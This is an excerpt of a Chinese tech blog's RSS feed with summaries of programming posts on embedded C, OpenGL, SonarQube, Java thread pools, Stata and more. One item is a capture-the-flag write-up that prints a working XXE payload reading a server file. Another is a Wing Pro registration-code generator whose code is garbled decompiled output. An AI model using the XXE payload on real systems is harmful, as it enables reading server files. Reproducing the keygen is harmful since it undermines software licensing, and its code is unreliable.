      <description>我的风格就是先上代码！&#xA;main.c：&#xA;#include &#34;stm32f10x.h&#34; #include &#34;usart.h&#34; #include &#34;delay.h&#34; #include &#34;Codingmotor.h&#34; #include &#34;pwm.h&#34; #include &#34;tim2timing.h&#34; / //此程序用到了三个计时器，TIM2用于计数得到时间算速度，TIM3输出pwm波控制电机，TIM4编码器模式记录电机编码器脉冲个数 float target_speed=0.12;//记录目标的速度,单位cm/ms float actual_speed;//记录实际速度,单位cm/ms float new_speed_difference;//记录当前速度差值 float before_speed_difference;//记录之前速度差值 float before2_speed_difference;//记录之前之前速度差值 float Cumulative_speed_difference;//记录累计速度 float add_speed;//记录添加速度 float kp=100; float ki=90; float kd=100; int out=0;//占空比 int main(void) { delay_init(); uart_init(9600);//串口初始化，可以用来反映电机实时速度 TIM4_Mode_Config();//TIM4编码器模式初始化配置 TIM2_timingInit();//TIM2定时初始化 My_PWMTIM3_Init(1999,71);//TIM3输出pwm波初始化 TIM_SetCompare1(TIM3,0);//设置初始比较值为0 NVIC_PriorityGroupConfig(NVIC_PriorityGroup_2);//分配中断优先级 while(1) { actual_speed=(now_num-32767)*0.00967;//计算实际速度，用定时器编码器模式记录小车编码器在5ms内输出脉冲的个数，然后转换为路程，然后算速度 new_speed_difference=target_speed-actual_speed;//当前的速度误差 add_speed=kp*(new_speed_difference-before_speed_difference)+ki*new_speed_difference+kd*(new_speed_difference+before2_speed_difference-2*before_speed_difference);//增量式PID算法，小车更适合增量式 out+=add_speed;//计算实时反馈给pwm波的占空比 if(out&amp;gt;1900)//防止溢出使用 out=1900; TIM_SetCompare1(TIM3,out);//调节占空比 before2_speed_difference=before_speed_difference;//之前之前的误差等于之前的误差 before_speed_difference=new_speed_difference;&#x9;//现在的误差变成之前的误差，新一个反馈周期开始 }&#x9;} // ///name:Vincent njw QQ:1504012979 glut TIM2计数：&#xA;#include &#34;</description>
    </item>
    <item>
      <title>【计算机图形学 】扫描线多边形填充算法 | OpenGL&#43;鼠标交互</title>
      <link>https://bchobby.github.io/posts/f4cc671ea9b916d01682afe3da722755/</link>
      <pubDate>Sat, 16 Oct 2021 18:17:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4cc671ea9b916d01682afe3da722755/</guid>
      <description>文章目录 其他计算机图形学实验前言思路借鉴步骤1.点的结构体2. AET 活性边表、NET新边表 的结构体3. 扫描线算法实现4. 改变鼠标响应函数 完整代码总结 其他计算机图形学实验 传送门&#xA;前言 实现多边形扫描线填充算法，并和鼠标进行交互。&#xA;具体原理略过，会贴上完整代码，可直接运行。&#xA;环境：&#xA;vs2019,OpenGL的库（可以搜索如何用vs使用OpenGL的库，可以使用vs自带的插件或者其他方法，很方便）&#xA;要点：&#xA;1.NET和AET的创建，改动&#xA;2.改变鼠标点击和鼠标拖拽的响应事件。&#xA;最终效果：&#xA;用鼠标随意画顶点，然后展示填充过程&#xA;对应控制台会输出顶点坐标和个数&#xA;思路借鉴 文章1&#xA;文章2&#xA;步骤 1.点的结构体 struct point { float x, y; point(){} point(int xx, int yy): x(xx), y(yy) {} }; vector&amp;lt;point&amp;gt; vertice; //顶点 2. AET 活性边表、NET新边表 的结构体 typedef struct XET { float x; float dx; // 从当前扫描线到下一条扫描线间x的增量，即斜率的倒数 float ymax; //该边所交的最高扫描线的坐标值ymax XET* next; }AET, NET; //AET 活性边表； NET新边表 3. 扫描线算法实现 void PolyScan() { /*得到最高点的y坐标*/ int Max_Y = 0; for (int i = 0; i &amp;lt; vertice.</description>
    </item>
    <item>
      <title>AndroidStudio SonarLint和SonarQube的使用</title>
      <link>https://bchobby.github.io/posts/ae69ff979e3fe5ed7a21a41ad608b1f4/</link>
      <pubDate>Sat, 16 Oct 2021 18:05:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae69ff979e3fe5ed7a21a41ad608b1f4/</guid>
      <description>环境：搭建 windows 本地环境&#xA;简介 SonarQube是一种自动代码审查工具，用于检测代码中的错误、漏洞和代码Bug。它可以与您现有的工作流程集成，以支持跨项目分支和拉取请求的持续代码检查。&#xA;环境要求 运行 SonarQube 的唯一先决条件是在你的机器上安装 Java 11（Oracle JRE 11 或 OpenJDK 11）且配置了环境变量。如果未安装Java 11 ，SonarQube(Version: 9.1)服务启动失败；&#xA;下载SonarQube Download | SonarQube&#xA;下载好是一个zip压缩文件，直接解压到自己想要的目录既可以；&#xA;启动SonarQube服务 找到 安装目录\bin\windows-x86-64，点击StartSonar.bat既可启动SonarQube服务；&#xA;浏览器中输入&#xA;http://localhost:9000 或http://127.0.0.1:9000 即可进入可视化的SonarQube服务界面；初始账号密码都是admin；&#xA;在网页端SonarQube创建项目 1,点击Manually，手动创建项目&#xA;2，填写项目名称和密钥，密钥可以使用项目名称或者自定义都可以&#xA;3，点击Set Up进入，再点击Locally选项&#xA;4，输入要生Token的内容，例如输入：Test，点击Generate生成Token，点击继续；&#xA;5，这是最后一步，点击Gradle&#xA;注意：以上设置要记住Project display name(项目名称)、Project key(密钥)、生成的Token，后面AndroidStudio关联SonarQube服务的时候要用；&#xA;踩坑之路 AndroidStudio连接到SonarQube&#xA;前言 由于启动SonarQube需要JDK11，所以把Java的环境变量改成JDK11（之前是JDK 8），改了之后如果AndroidStudio是老的版本比如4.1.1之前的版本，可能导致Android Studio启动不了，但是AndroidStudio在改之前已经打开了不影响继续使用；如果是目前最新的AndroidStudio 2020.3.1版本不影响，AndroidStudio 2020.3.1安装时自带jre就是jre11；踩了很多坑才总结者段话；&#xA;1，AndroidStudio安装SonarLint插件&#xA;具体步骤及使用参考：AndroidStudio SonarLint安装及使用_ezconn的博客-CSDN博客&#xA;2，项目下的build.gradle中添加插件：&#xA;classpath &#39;org.sonarsource.scanner.gradle:sonarqube-gradle-plugin:3.3&#39;&#xA;3，module 级别的build.gradle(:app)中添加&#xA;apply plugin: &#39;org.sonarqube&#39; 和&#xA;sonarqube { properties { //Sonar服务器地址 property &#34;sonar.host.url&#34;, &#34;</description>
    </item>
    <item>
      <title>通过vba代码将excel转换为PDF</title>
      <link>https://bchobby.github.io/posts/0d0db1a13a3c243ebe0443b499c39a3a/</link>
      <pubDate>Sat, 16 Oct 2021 15:46:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d0db1a13a3c243ebe0443b499c39a3a/</guid>
      <description>需要传两个参数，excel路径和pdf路径。&#xA;代码可以做成wsf文件，通过C语言或者java调用&#xA;&amp;lt;job id=&#34;etop&#34;&amp;gt; &amp;lt;reference guid=&#34;{00020813-0000-0000-C000-000000000046}&#34;&#x9;comment=&#34;MSExcel 2000 tag library, under HKEY_CLASSES_ROOT\TypeLib\&#34;/&amp;gt; &amp;lt;script language=&#34;VBScript&#34;&amp;gt; Option Explicit Dim excel_file Dim pdf_file &#39;If WScript.Arguments.Count &amp;lt; 2 Then &#39;&#x9;MsgBox &#34;Usage: t1 &amp;lt;excel_file&amp;gt; &amp;lt;pdf_file&amp;gt; &#34; &#39;&#x9;WScript.Quit &#39;End If excel_file = WScript.Arguments(0) pdf_file= WScript.Arguments(1) Dim ExcelApp Set ExcelApp = CreateObject(&#34;Excel.Application&#34;) With ExcelApp .Visible = False &#39;设置excel为可见 &#39;With .Options &#39;&#x9;.CheckSpellingAsYouType = False &#39;不检查拼写 &#39;&#x9;.CheckGrammarAsYouType = False &#39;不检查语法 &#39;End With &#39;打开模板文件 .Workbooks.Open(excel_file) .</description>
    </item>
    <item>
      <title>计算最新版本Wing Pro 8.0.4.1 Mac版 注册码</title>
      <link>https://bchobby.github.io/posts/38c69295dce867b632ba0090c965d865/</link>
      <pubDate>Sat, 16 Oct 2021 15:35:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38c69295dce867b632ba0090c965d865/</guid>
      <description>import string import random import hashlib BASE16 = &#39;0123456789ABCDEF&#39; BASE30 = &#39;123456789ABCDEFGHJKLMNPQRTVWXY&#39; def randomstring(size, chars = (20, string.ascii_uppercase + string.digits)): return None((lambda .0 = None: pass)(range(size))) def BaseConvert(number, fromdigits, todigits, ignore_negative = (True,)): if ignore_negative and str(number)[0] == &#39;-&#39;: number = str(number)[1:] neg = 1 else: neg = 0 x = 0 res = &#39;&#39; if x &amp;gt; 0: digit = x % len(todigits) res = todigits[int(digit)] + res x //= len(todigits) continue if neg: res = &#39;-&#39; + res return res def AddHyphens(code): return code[:5] + &#39;-&#39; + code[5:10] + &#39;-&#39; + code[10:15] + &#39;-&#39; + code[15:] def SHAToBase30(digest): tdigest = &#39;&#39;.</description>
    </item>
    <item>
      <title>SpringBoot使用线程池之ThreadPoolTaskExecutor和ThreadPoolExecutor</title>
      <link>https://bchobby.github.io/posts/6edcc0432d3cf205e5d460d4b906433c/</link>
      <pubDate>Sat, 16 Oct 2021 11:58:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6edcc0432d3cf205e5d460d4b906433c/</guid>
      <description>文章目录 前言预热：ThreadPoolExecutor构造器四种拒绝策略ThreadPoolExecutor.AbortPolicyThreadPoolExecutor.CallerRunsPolicyThreadPoolExecutor.DiscardPolicyThreadPoolExecutor.DiscardOldestPolicy 工作流程 正题：ThreadPoolTaskExecutor继承关系成员变/常量初始化方法 高潮：SpringBoot中使用ThreadPoolTaskExecutor创建SpringBoot项目文件列表配置属性文件配置类测试 结语：个人骚话(可看可不看鸭) 前言 一般的，我们提及线程池，最先想到的自然是java中的Executors，它作为一个线程池的工具类，提供给我们几种常见的线程池。稍微深入的童鞋应该也知道，它的底层实现，是使用了java中的ThreadPoolExecutor，而且一般在面试的时候，面试官问到的也会是这个ThreadPoolExecutor。&#xA;我的这篇文章说的是在SpringBoot中使用线程池，自然也和它有关（底层代码实现也是它）。因此先来讲讲ThreadPoolExecutor的基本特点吧！&#xA;预热：ThreadPoolExecutor 首先我们看看它的继承关系：&#xA;构造器 这里是它的参数最多的一个构造器：&#xA;public ThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue&amp;lt;Runnable&amp;gt; workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) 几个参数的含义分别是&#xA;corePoolSize：要保留在池中的线​​程数，即使它们处于空闲状态，除非设置了allowCoreThreadTimeOut；maximumPoolSize：池中允许的最大线程数；keepAliveTime：当线程数大于核心数时，这是多余空闲线程在终止前等待新任务的最长时间；unit：keepAliveTime参数的时间单位；workQueue：用于在执行任务之前保存任务的队列。 这个队列将只保存execute方法提交的Runnable任务；threadFactory：执行程序创建新线程时使用的工厂；handler：执行被阻塞时使用的处理程序，因为达到了线程边界和队列容量； 其中，ThreadFactory 的默认实现是：Executors.defaultThreadFactory()。&#xA;RejectedExecutionHandler的默认实现是AbortPolicy，内部使用的是抛出异常的方式。当然，在企业中，为了不丢失任务，CallerRunsPolicy用的也是很多的。&#xA;CallerRunsPolicy的功能是：被拒绝任务的处理程序，它直接在execute方法的调用线程中运行被拒绝的任务，除非执行程序已关闭，在这种情况下任务将被丢弃。&#xA;四种拒绝策略 ThreadPoolExecutor.AbortPolicy 处理程序在拒绝时抛出运行时RejectedExecutionException 。&#xA;ThreadPoolExecutor.CallerRunsPolicy 调用execute自身的线程运行任务。 这提供了一个简单的反馈控制机制，可以减慢提交新任务的速度。&#xA;ThreadPoolExecutor.DiscardPolicy 无法执行的任务被简单地丢弃。&#xA;ThreadPoolExecutor.DiscardOldestPolicy 如果执行器没有关闭，工作队列头部的任务会被丢弃，然后重试执行（可能会再次失败，导致重复执行）。&#xA;工作流程 当一个新的任务提交给线程池时，线程池的处理步骤：&#xA;首先判断核心线程数是否已满，如果没满，则调用一个线程处理Task任务，如果已满，则执行步骤(2)。&#xA;这时会判断阻塞队列是否已满，如果阻塞队列没满，就将Task任务加入到阻塞队列中等待执行，如果阻塞队列已满，则执行步骤(3)。&#xA;判断是否大于最大线程数，如果小于最大线程数，则创建线程执行Task任务，如果大于最大线程数，则执行步骤(4)。&#xA;这时会使用淘汰策略来处理无法执行的Task任务。&#xA;正题：ThreadPoolTaskExecutor 那现在进入正题，ThreadPoolTaskExecutor 这个类是Spring-Context支持的一个，专门用于Spring环境的线程池。其底层是在ThreadPoolExecutor的基础上包装一层，使得与Spring的整合更加方便。&#xA;继承关系 这是根据Idea生成的一个继承关系：&#xA;成员变/常量 内部的成员变量有：&#xA;可以看到，确实依赖的是ThreadPoolExecutor。&#xA;初始化方法 其中有一个初始化用的方法：&#xA;public void initialize() { if (logger.isDebugEnabled()) { logger.</description>
    </item>
    <item>
      <title>百度网盘提速正规办法 无需破解！！！！！</title>
      <link>https://bchobby.github.io/posts/f32fcc127fdd57a70ca78b6789f3c7f5/</link>
      <pubDate>Fri, 15 Oct 2021 16:08:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f32fcc127fdd57a70ca78b6789f3c7f5/</guid>
      <description>超简单百度网盘提速方法——无需破解&#xA;很多萌新日常使用电脑，一定常用“百度网盘”这款软件，相信你一定被它几十一百kb的下载网速折磨到炸：&#xA;（提速前，抓狂ing）&#xA;而今天为大家介绍一个官方、简单且高效的提速方法。不需下载、破解等繁杂操作，只需点几个按钮，效果如下：&#xA;（提速后，便秘结束）&#xA;下面我们具体聊聊怎么做：&#xA;具体做法&#xA;一、下载：百度网盘去官网下载即可：&#xA;二、已安装（新下载的用户可跳过本步）：&#xA;已安装百度网盘的老用户，需要将百度网盘更新至最新版本：&#xA;1.打开百度网盘：&#xA;2.点击界面右上角的“设置”按钮&#xA;3.点击“版本升级”：&#xA;4.升级到最新版本，如图即可：&#xA;三、提速步骤：&#xA;1.同样是打开百度网盘，点击右上角的设置按钮：&#xA;2.选择“设置”：&#xA;3.在打开的新菜单中找到“传输”：&#xA;4.找到“下载提速”，点击“去开启”：&#xA;5.先勾选“协议”，再点击“开启下载提速“：&#xA;出现该界面时就说明设置好了：&#xA;这时再回来看看下载速度：&#xA;如果速度没有变化、也没有“下载提速”字样，说明你卡bug了。重启软件或重启电脑基本就能解决。至此，百度网盘提速方法教学完毕，很简单吧~&#xA;可以明显看到，未提速之前是几十K 现在至少是M为单位了！！</description>
    </item>
    <item>
      <title>项目经验学习——在React的return里面使用switch-case语句</title>
      <link>https://bchobby.github.io/posts/d8ffde0f4c09ce0cc17cf1df5e4c23ac/</link>
      <pubDate>Fri, 15 Oct 2021 15:28:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8ffde0f4c09ce0cc17cf1df5e4c23ac/</guid>
      <description>今天在写代码的时候碰到一个渲染的问题，就是返回的是个数值型（int），我要用这个值去判断不同的结果。一开始想到 if-else，但是想到没有 switch-case 优雅，所以准备用 switch-case。&#xA;情况一：&#xA;但是如果直接在return里面写 switch-case ，可能会发生报错&#xA;情况二：&#xA;如果用箭头函数 ()=&amp;gt;{} 包裹，这样并不会报错，但是会导致不渲染，因为外面被包了一层&#xA;所以按照常理，直接在return里面写 switch-case 并不是一个明智的选择，即使没有报错，写成功了，也不看起来很乱，不简洁。&#xA;情况三：&#xA;所以可以用一个函数来代替，在这个函数里面写 switch-case&#xA;这样return里面就少了很多判断的代码，看起来也很美观，我们只用在这个函数里面进行 switch-case 判断就行。</description>
    </item>
    <item>
      <title>C# SerialPort 串行端口类 学习笔记</title>
      <link>https://bchobby.github.io/posts/a35509c9eeb73811c9b8cb7e23941178/</link>
      <pubDate>Fri, 15 Oct 2021 14:44:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a35509c9eeb73811c9b8cb7e23941178/</guid>
      <description>SerialPort 中的属性 1 :PortName 通讯端口名称&#xA;2：BaudRate 波特率&#xA;3：DataBits 数据位&#xA;4：StopBits 停止位&#xA;5：ReadTimeout 超时时间&#xA;6：IsOpen() SerialPort对象是否打开&#xA;SerialPort 中使用到的(方法)函数 Open() 打开串行端口链接 Close() 关闭端口链接&#xA;发送数据: 1 / Write 该函数有三个重载&#xA;Write(string text) 向串行端口发送字符串&#xA;Write(byte[] buffer,int offset,int count) 使用缓冲区的数据，将字节写入到串行端口&#xA;Write(char[] chr,,int offset,int count) 将指定数量的字符写入到串行端口&#xA;接收数据:&#xA;1 / Read 函数&#xA;Read(byte[] buffer,int offset,int count) 读出缓冲区字节，写入到字节数组中&#xA;2 / 写入串行端口数据还有(WriteLine(string text),将指定字符串写入缓冲区)&#xA;3 / 读取串行端口数据还有(ReadByte(),读取一个字节)(ReadChar(),读取一个字符)&#xA;(ReadTo(string Value),读到指定字符串)（ReadLine(),一直读到输入缓冲区中的SerialPort.NewLine值）&#xA;SerialPort 中的事件&#xA;1：DataReceived 理解为接收串行端口数据的监听事件，当端口接收到数据触发该事件&#xA;在该事件中 用Read() 读取传入数据&#xA;代码示例:&#xA;public class PortControlHelp { /// &amp;lt;summary&amp;gt; /// 串口对象 /// &amp;lt;/summary&amp;gt; private SerialPort sp; /// &amp;lt;summary&amp;gt; ///收发串口数据委托 /// &amp;lt;/summary&amp;gt; /// &amp;lt;param name=&#34;</description>
    </item>
    <item>
      <title>js 判断数组中是否有重复值两种方法</title>
      <link>https://bchobby.github.io/posts/da4cfe0137eb0595610f5dc491d5b789/</link>
      <pubDate>Fri, 15 Oct 2021 11:52:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da4cfe0137eb0595610f5dc491d5b789/</guid>
      <description>判断数组中是否有重复的值，重复则提示优先级重复 第一种方法 推荐 // 以数组值为键，持续向一个对象里面加值， // 如果在加值之前就发现这个属性在对象中已经存在，那么他就是重复的 function isRepeat(arr) { var hash = {} for (var i in arr) { if (hash[arr[i]]) { return true } hash[arr[i]] = true } return false }, 全部代码&#xA;&amp;lt;Input v-model.trim=&#34;item.haha&#34; @on-blur=&#34;func1&#34; clearable placeholder=&#34;请输入&#34; :style=&#34;{ width: formInputWidth1 }&#34;&amp;gt;&amp;lt;/Input&amp;gt; // 以数组值为键，持续向一个对象里面加值， // 如果在加值之前就发现这个属性在对象中已经存在，那么他就是重复的 isRepeat(arr) { var hash = {} for (var i in arr) { if (hash[arr[i]]) { return true } hash[arr[i]] = true } return false }, func1() { let list = [] this.</description>
    </item>
    <item>
      <title>XXE：XXE外部实体漏洞</title>
      <link>https://bchobby.github.io/posts/bf18c0297dae03779151228ad3e3e877/</link>
      <pubDate>Fri, 15 Oct 2021 11:07:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bf18c0297dae03779151228ad3e3e877/</guid>
      <description> 靶场地址：安鸾学院&#xA;解题准备：XML外部实体注入，简称XXE&#xA;解题思路：&#xA;1、登录界面，点击login抓包，修改poc&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;!DOCTYPE a [&amp;lt;!ENTITY xxe SYSTEM &#34;file:///flag&#34;&amp;gt; ]&amp;gt; &amp;lt;user&amp;gt;&amp;lt;username&amp;gt;&amp;amp;xxe;&amp;lt;/username&amp;gt;&amp;lt;password&amp;gt;admin&amp;lt;/password&amp;gt;&amp;lt;/user&amp;gt; 2、成功获取flag </description>
    </item>
    <item>
      <title>stm32f103c8t6输入捕捉模式精细测信号频率</title>
      <link>https://bchobby.github.io/posts/851cbb072a7678bc40f78cf8521bc2ec/</link>
      <pubDate>Thu, 14 Oct 2021 22:01:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/851cbb072a7678bc40f78cf8521bc2ec/</guid>
      <description>#include &#34;stm32f10x.h&#34; #include &#34;usart.h&#34; #include &#34;delay.h&#34; int num,num1;//记录第一次捕获中断和第二次捕捉中断寄存器值 int sum,n=0;//sum：记录所测信号一个周期计数器记了多少个数。n：做第一次和第二次的捕捉中断判断。 int main(void) { GPIO_InitTypeDef GPIO_Structure;&#x9;//GPIO初始化&#x9;TIM_TimeBaseInitTypeDef TIM_TimeStructure;//时钟初始化 TIM_ICInitTypeDef TIM_ICTypeDef;//时钟输入捕捉通道初始化 NVIC_InitTypeDef NVIC_InitStruct;//中断初始化 RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA, ENABLE);//使能GPIOA RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM2, ENABLE);//使能TIM2 uart_init(9600);//初始化串口，波特率9600 delay_init(); My_PWMTIM3_Init(1999,71);//自己写的一个输出pwm波的一个库，引脚PA6输出周期为2000us的脉冲 TIM_SetCompare1(TIM3,1500);//设置比较值 GPIO_Structure.GPIO_Pin = GPIO_Pin_1;&#x9;GPIO_Structure.GPIO_Mode = GPIO_Mode_IN_FLOATING;//浮空输入，输入捕捉模式需要将具体引脚调为浮空输入 GPIO_Structure.GPIO_Speed = GPIO_Speed_50MHz;&#x9;GPIO_Init(GPIOA, &amp;amp;GPIO_Structure);&#x9;TIM_TimeStructure.TIM_ClockDivision=TIM_CKD_DIV1;//分频因子 TIM_TimeStructure.TIM_CounterMode=TIM_CounterMode_Up;//向上计数 TIM_TimeStructure.TIM_Period=0xFFFF;//自动重装载值 TIM_TimeStructure.TIM_Prescaler=71;//预分频系数 TIM_TimeBaseInit(TIM2, &amp;amp;TIM_TimeStructure); TIM_ICTypeDef.TIM_Channel=TIM_Channel_2;//PA1/T2.2 TIM_ICTypeDef.TIM_ICPolarity=TIM_ICPolarity_Rising;//上升沿捕捉 TIM_ICTypeDef.TIM_ICSelection=TIM_ICSelection_DirectTI;//映射一波 TIM_ICTypeDef.TIM_ICPrescaler=TIM_ICPSC_DIV1;//不分频 TIM_ICTypeDef.TIM_ICFilter=0x00;//不滤波 TIM_ICInit(TIM2,&amp;amp;TIM_ICTypeDef); TIM_ITConfig(TIM2,TIM_IT_CC2,ENABLE);//开启CC2中断 NVIC_InitStruct.NVIC_IRQChannel=TIM2_IRQn; NVIC_InitStruct.NVIC_IRQChannelCmd=ENABLE; NVIC_InitStruct.NVIC_IRQChannelPreemptionPriority=0; //抢占优先级 NVIC_InitStruct.NVIC_IRQChannelSubPriority=1; //响应优先级 NVIC_Init(&amp;amp;NVIC_InitStruct); TIM_Cmd(TIM2,ENABLE); while(1) { printf(&#34;%d &#34;,sum);//让串口每隔0.5秒打印测得周期值 delay_ms(500);} } void TIM2_IRQHandler(void) { if(TIM_GetITStatus(TIM2,TIM_IT_CC2) !</description>
    </item>
    <item>
      <title>关于sql server导出csv格式文件的身份证号乱码问题处理办法</title>
      <link>https://bchobby.github.io/posts/fb3bc16f56a22c4ab71090415d932fb0/</link>
      <pubDate>Thu, 14 Oct 2021 14:55:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fb3bc16f56a22c4ab71090415d932fb0/</guid>
      <description>1、使用SQL Server数据库经常会遇到导出大量数据的情况，例如导出40万条数据，虽然EXCL支持可以放入百万的数据，但是使用数据库复制，粘贴到EXCL表格时，数据库会提示溢出的情况，如下图所示：&#xA;如果使用数据库工具右键导出&amp;lt;将结果另存为&amp;gt;，将弹出将结果存为csv格式的文件，此时导出的身份证号将自动变成科学计数法，无法使用。&#xA;2、解决方案：&#xA;SQL语句&#xA;select &#39;&#39;&#39;&#39;+A.CSFZH AS 身份证号 from yxhis..tbicxx a,yxhis..tbicxxex b where 1=1 and a.cicid=b.cicid and a.cicid like &#39;198%&#39; 在身份证号前加一个特殊字符(什么都可以A B C D之类的)，将身份证号显示为文本格式，然后在复制或者导出CSV格式时，将不会再按科学计数法的方式显示，剩余的就可以在EXCL内进行操作数据了。&#xA;查询出的数据如下图所示：</description>
    </item>
    <item>
      <title>stata滞后、前置、异质性</title>
      <link>https://bchobby.github.io/posts/8b8886f101cfc1862d62b27a1b712129/</link>
      <pubDate>Wed, 13 Oct 2021 21:33:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b8886f101cfc1862d62b27a1b712129/</guid>
      <description>滞后 滞后一阶：gen lx=L.x&#xA;滞后两阶：gen l2x=L2.x&#xA;前置 前置一阶：gen fx=F.x&#xA;前置两阶：gen f2x=F2.X&#xA;异质性 reg y x if z==1&#xA;reg y x if z==0</description>
    </item>
    <item>
      <title>stata排除自身计算的行业均值</title>
      <link>https://bchobby.github.io/posts/229fb32cb53f7575966ba14ca149d191/</link>
      <pubDate>Wed, 13 Oct 2021 21:29:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/229fb32cb53f7575966ba14ca149d191/</guid>
      <description>by time industry : egen total_x=total(x)&#xA;by time industry : egen number=count(x)&#xA;gen xx=total_x-x&#xA;gen mean_x=xx/(number-1)&#xA;x可替换为目标变量名</description>
    </item>
    <item>
      <title>玩转console.log 如何在console.log里面插入图片</title>
      <link>https://bchobby.github.io/posts/fd40ea54afdd41eb7c3240a3a6183571/</link>
      <pubDate>Wed, 13 Oct 2021 19:59:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd40ea54afdd41eb7c3240a3a6183571/</guid>
      <description>console.log也能插图！！！ 学前准备&#xA;一台电脑及一个浏览器（建议chrome）具有一定 JavaScript 及 CSS3 基础了解如何给 console.log 添加样式：《给console来的样式》 举3个例子 第一个例子是西瓜视频的控制台，输出一张图片&#xA;第二个例子是bilibili的控制台，玩转了 ASSII-Aar。&#xA;第三个例子：基于第一个例子进行改造。&#xA;图片用法 无意中看到西瓜视频官网的控制台&#xA;言归正传，console.log 是支持使用 background 的。唯一注意的是需要使用 网络图片 或者 base64 类型的图片。&#xA;我试过用相对路径引用本地图片，结果是引用失败（也不会报错，不知道是不是我的姿势错了导致引用失败）。&#xA;由于 console 不支持 标签，因此用 背景图片 代替。&#xA;此外，console 不支持 width 和 height，利用 空格 和 font-size 代替；还可以使用 padding 和 line-height 代替宽高。&#xA;console.log 添加样式的基础用法，在 《给console来的样式》 有讲到。&#xA;以下代码来自西瓜视频官网。&#xA;console.log( &#34;%c &#34;, &#34;background: url(https://sf1-dycdn-tos.pstatp.com/obj/eden-cn/lpqpflo/ixigua_logo.svg) no-repeat; font-size:130px; line-height: 50px&#34; ) 以下代码使用了 base64 的方式。&#xA;由于 base64 的代码量比较大，所以不推荐使用这个方式&#xA;console.log( &#39;%c &#39;, `padding: 100px 200px; background-image: url(&#39;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAADICAMAAAApx+PaAAADAFBMVEUAAAA2f0Q3iUlRwnRItl4/u2BFwmdGxWY5wl0rvlIhvUVfzXx81o6I255SxnKB7Jqb4K3S8drs9ez///+r5bts0YZJyme96smY1du00/PtPzIJszPtQTPqQzXqRTW11vnrVEDPQzj8uyr4uSn14Ilqy5Hwakz/0znRpxQ0Hgk/LwaIaQ37uzL7why01P2z1fm1ihHxsTkhEwW11fqSvsr2p36t2/zqMCy02f2c4vvvQTAsSCImUCQiUSnlUTGjcRmWSyEnTyMqUyglTRqEt8HgoBn7xRX/2xd9YAtjSwlUPwf/0RXFlhIEAgj/6RjltxT+vZQlQBwkRgUtXTUwgkGv2f34uBSUcA6ogQ5yVgqbeg75spj7oJgGNgo6tFs0qFOEQyL/+Rn8nJT+nJJSc2ZJqZ9Eheb8mZP/mI1IpMY5ff1BhPdIHQ94PxygVCVTIRH/koWFeFUXoUVAh/xChfRMivNTKxOqWii0XiqXTyT+gHVyZU9bakB9t3VBhfZHhOT95HViMxdrNxf9Z1v95IeL8aL5YlL+U0XgfXdMjetFhez96WJ4KR3FZyyR76mM7ab/WkmVakuid2CK9KOl4P2ybR+to3SP86uP8qb/Uj62ZUvFzXKQ4PmB1/1ZLhSM9KaP6/+O9P+V4vqQTCPzeVtLYTD1u2Sh//+F9Z2A8JB/+ItEhfVQmVp89ZOF+407crCyz1SX/6JGjf8zXVNHifTV3FM/fMZnlYp6zuSONxCprUfMRi86apFjcJeCc3xbj+ChqWlssa386U5Tf3RVfb98vGdcrmVPeEFzhkgPJwpCgtoyYnBvk+CxOR6/qkT+5Yj96IWTm0n+5nubxmjsQjX8QTZrSy36Mh3sQzN3o+IQTyNAhPLaZVMQEiCEpdL49lBSlP/En7WZsML/9Ez//0///1c0hOCLpLIpd/ttmvqjY3m1oXLPmaHzhVSPj9L59FCjjL72m1WwfqfRa3jNi2PUo4/n0sXFr6qruasOCwWVNyNmkbvMy39nu9CaUCXFOy2wGI/EAAABAHRSTlMAHThhg6XL//8T7P8LO0n/b/+vTv//kMgy1P9iGF//+f8orAuI/2yZjVXDnB9hcuL+/s7//xdxev7/JTj+///+/0xc+f5tbnr+/4L///+yh6r///+7/pD9zabjIYr//5hBIsDeuf9Gk///M0f//8qHkf9nWmv/+MrE9v963Pyp/4z8w/+Sr9TN/5z5/vz///7++v/9/f//Nv27+qas//7///7J//78/9pWa/97/8n+/f/oov6e6f9Z/MX///+E//3//5b9/vv//v3///yHnP/9/cbS97f52gAAKxZJREFUeAHswQUBwAAMAKBp/8pPcQcCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhcVs/uTncGf1BzsGtX243DQACGFbI0I8u1NKZGZYZgmfn9n2kb2HJo0fXRZ7z/j1HyuIABwb1ahRWcU/E4IHDpK6V8GQgE4VXnmFPk5AKFDLWhAaOjWKBIqqygnFKNo1Ca3jMhR+GVWRE5lQTA1/SZUQC8ypziqXDkKX1NS+Q15hRNlaM0NJJC4aoX8Dr3aZywaNWd8qTmveqFeq47WYKSJlHIy8wpjBoIQxNJSJhTFPOAKU1mhKiy0ep15nwfnvVpGhHyOTbSwuKSy/5tLCMYmkow9lJfWV1dWltfX1/bYE6uZVm2aRXRH7jUlxa3tnd29/a3G03m5FjWarUFapog1dTHReJ5vYH2col9Ul/Z3u50ugc7rnrOmx8eHqEcHTs19CyykvqUBUAAEIIP61fe1O9uN7a3G91uo9E4ZnnlZIfL7U0b0gfGUE/KrYWQKLQoaUCnUahiGXDBB2ov0etLjb7t3m6N5Za70OfbJwGm9E4qAQJNpAGVEjYlKTg39J6Jet298mvy063txiuWX+5CPzsXw6BGybiXP0IMAgualPWJIhsTmQA0vRdJwb0Ke3Gx+Bo9F5f65dXVdZl94jxf6Gc/H+laW